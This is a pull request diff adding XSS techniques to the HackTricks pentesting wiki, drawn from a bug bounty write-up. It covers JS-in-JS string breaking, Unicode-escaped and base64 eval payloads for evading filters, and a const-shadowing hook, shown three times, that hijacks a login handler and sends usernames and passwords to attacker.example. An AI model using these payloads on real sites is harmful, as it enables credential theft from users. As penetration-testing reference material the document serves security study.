Merge pull request #1345 from HackTricks-wiki/update_From__Low-Impact__RXSS_to_Credential_Stealer__A_JS_20250827_063121

From "Low-Impact" RXSS to Credential Stealer A JS-in-JS Walk...

Author: carlospolop

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
 \';alert(document.domain)//
 ```
 
+#### JS-in-JS string break → inject → repair pattern
+
+When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
+
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+
+Example URL pattern when the vulnerable parameter is reflected into a JS string:
+
+```
+?param=test";<INJECTION>;a="
+```
+
+This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
+
 ### Template literals \`\`
 
 In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
@@ -571,6 +590,25 @@ loop``
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
 
+#### Deliverable payloads with eval(atob()) and scope nuances
+
+To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
+
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+
+Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
+
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+
+Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
 ### Unicode Encode JS execution
 
 ```javascript
@@ -1513,6 +1551,23 @@ body:username.value+':'+this.value
 
 When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
 
+### Hijack form handlers to exfiltrate credentials (const shadowing)
+
+If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
+
+```javascript
+const DoLogin = () => {
+  const pwd  = Trim(FormInput.InputPassword.value);
+  const user = Trim(FormInput.InputUtente.value);
+  fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+
+Notes
+- This relies on execution order: your injection must execute before the legitimate declaration.
+- If your payload is wrapped in `eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
+- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
+
 ### Keylogger
 
 Just searching in github I found a few different ones:
@@ -1792,4 +1847,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## References
+
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
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src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -130,15 +130,34 @@ let config;` -
     },
   })
 }
+trigger()
 ```
 
+### Preempt later declarations by locking a name with const
+
+If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
+
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+  const pwd  = Trim(FormInput.InputPassword.value)
+  const user = Trim(FormInput.InputUtente.value)
+  fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+
+Notes
+- This relies on execution order and global (top-level) scope.
+- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
+
 ## References
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
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